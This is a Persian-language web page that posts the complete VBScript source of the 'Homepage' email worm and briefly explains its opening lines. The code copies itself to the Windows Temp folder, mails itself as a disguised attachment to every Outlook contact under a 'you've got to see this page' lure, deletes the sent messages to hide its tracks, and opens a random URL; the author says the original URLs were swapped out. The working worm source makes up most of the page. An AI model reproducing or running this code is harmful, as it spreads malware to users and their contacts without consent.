کد ويروس Homepage

ويروس Homepage
اين ويروس که کدشو براتون می ذارم به زبان بيسيک نوشته شده و باز هم از امنيت پايين
VBS استفاده شده
است


On Error Resume Next
Set WS = CreateObject("WScript.Shell")
Set FSO= Createobject("scripting.filesystemobject")
Folder=FSO.GetSpecialFolder(2
)

Set InF=FSO.OpenTextFile(WScript.ScriptFullname,1)
Do While InF.AtEndOfStream<>True
ScriptBuffer=ScriptBuffer&InF.ReadLine&vbcrlf
Loop

Set OutF=FSO.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true)
OutF.write ScriptBuffer
OutF.close
Set FSO=Nothing

If WS.regread ("HKCU\software\An\mailed") <> "1" then
Mailit()
End If

Set s=CreateObject("Outlook.Application")
Set t=s.GetNameSpace("MAPI")
Set u=t.GetDefaultFolder(6)
For i=1 to u.items.count
If u.Items.Item(i).subject="Homepage" Then
u.Items.Item(i).close
u.Items.Item(i).delete
End If
Next
Set u=t.GetDefaultFolder(3)
For i=1 to u.items.count
If u.Items.Item(i).subject="Homepage" Then
u.Items.Item(i).delete
End If
Next

Randomize
r=Int((4*Rnd)+1)
If r=1 then
WS.Run("URL1")
elseif r=2 Then
WS.Run("URL2")
elseif r=3 Then
WS.Run("URL3")
ElseIf r=4 Then
WS.Run("URL4")
End If

Function Mailit()
On Error Resume Next
Set Outlook = CreateObject("Outlook.Application")
If Outlook = "Outlook" Then
Set Mapi=Outlook.GetNameSpace("MAPI")
Set Lists=Mapi.AddressLists
For Each ListIndex In Lists
If ListIndex.AddressEntries.Count <> 0 Then
ContactCount = ListIndex.AddressEntries.Count
For Count= 1 To ContactCount
Set Mail = Outlook.CreateItem(0)
Set Contact = ListIndex.AddressEntries(Count)
Mail.To = Contact.Address
Mail.Subject = "Homepage"
Mail.Body = vbcrlf&"Hi!"&vbcrlf&vbcrlf&"You've got to see this page!It's really cool ;O)"&vbcrlf&vbcrlf
Set Attachment=Mail.Attachments
Attachment.Add Folder & "\homepage.HTML.vbs"
Mail.DeleteAfterSubmit = True
If Mail.To <> "" Then
Mail.Send
WS.regwrite "HKCU\software\An\mailed", "1"
End If
Next
End If
Next
End if
End Function

اين ويروس حدودا 70 خطی به کمک outlook خودش رو پخش ميکنه اما نحوه ی کارش بصورت زيراست:
خط اول به بيسيک ميگه که اگر هر خطايی پيش اومد بيسيک از خطا چشمپوشی کنه و به دستور بعدی برای اجرا پرش کنه وجود اين خط لازمه
چرا  که اگر خطايی جزئی در اجرای اسکريپت ما پيش بيايد در صورتی که اين خط وجود نداشته باشد اجرای ان متوقف شده و با شکست روبرو ميشود البته درسته که اگر کد ما با خطای جدی مواجه بشه باز هم در نهايت شکست ميخورد اما وجود اين خط حداقل تضمين ميکند که اسکريپت ما در موارد عادی متوقف نميش
ود خط دوم شئ
Shell رو ميسازه و به متغير WS نسبت ميده خط بعد هم شئ FileSystemObject و به متغير FSO نسبت ميده شئ
FileSystemObject دارای متدی بنام GetSpecialFolder هست که بکمک اون ميتونيم ادرس پوشه های خاص رو بدست بياريم
 

FSO.GetSpecialFolder(0) - - > Windows Directory
FSO.GetSpecialFolder(1) - - > System Directory
FSO.GetSpecialFolder(2) - - > Temp Directory

همانطور که ميبينيد نويسنده سعی کرده ادرس پوشه ی Temp رو از اين طريق بدست بياره سپس سعی ميکنه که ادرس اسکريپت رو که در حال حاضر روی سيستم در حال اجراست  بدست بياره و از طريق متد OpenTextFile
 از شئ
FSO اون رو باز کنه سپس توسط يک حلقه محتويات اين فايل رو داخل ScriptBuffer ميريزه و سپس اين بافر رو در فايلی در پوشه ی Temp
ذخيره ميکنه

تذکر: قسمتهايی از ويروس فوق که شامل URL  هست رو من تغيير دادم در ويروس اصلی اين قسمتها کاربر رو بطور ناخواسته به سايتهای غيراخلاقی هدايت ميکرد

 

 

صفحه نخست
مقالات
Html آموزش
لینک ها
دانلود برنامه
دانلود آهنگ و فیلم
کد جاوا
خنده بازار
ترفند
لغت نامه ها
جستجوگر طلایی
ارتباط با ما

صفحه نخست | مقالات | Html آموزش | لینک ها | دانلود برنامه | دانلود آهنگ و فیلم | کد جاوا | خنده بازار | ترفند | لغت نامه ها | جستجوگر طلایی | ارتباط با ما